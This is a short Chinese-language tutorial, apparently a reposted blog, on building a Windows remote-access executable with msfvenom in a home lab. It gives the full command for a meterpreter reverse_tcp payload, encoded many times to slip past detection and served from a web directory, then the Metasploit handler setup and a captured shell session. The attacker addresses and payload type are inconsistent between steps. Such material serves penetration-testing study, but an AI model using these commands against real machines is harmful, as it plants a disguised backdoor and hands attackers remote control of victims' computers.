
root@kali:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.16.190 LPORT=4444 -b “\x00” -e x86/shikata_ga_nai -i 20 | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f exe -o /var/www/html/windows.exe**
生成病毒 ,命名為windows.exe
編輯好的病毒存放在/var/www/html/
下載好,移動到win7,
回到msf中,切換到 explpit/multi/handler/模塊中
在模塊中選擇 windows/shell/reverse_tcp. payload模塊
使用 show options 設定引數
發現 “LHOST”,"LPORT“兩個需要設定
第一個是監聽地址,第二個是監聽埠,設定好
//注釋! 如果run后出現
[-] Handler failed to bind to 192.168.16.192:4444:- - [-] Handler
failed to bind to 0.0.0.0:4444:- - [-] Exploit failed [bad-config]:
Rex::BindFailed The address is already in use or unavailable:
(0.0.0.0:4444). [*] Exploit completed, but no session was created.
是因為4444埠被占用了,需要切換監聽埠!//
run
在win7中打開剛剛上傳的病毒,等待msf終端回彈
[]Started reverse TCP handler on 192.168.16.192:4444
[]Command shell session 1 opened (192.168.16.192:4444 -> 192.168.16.190:49158) at 2020-09-28 21:17:15 +0
[*] 192.168.16.190 - Command shell session 1 closed. Reason: User exit
輸入 sessions -i 1 即可獲得
轉載請註明出處,本文鏈接:https://www.uj5u.com/shujuku/166430.html
標籤:其他
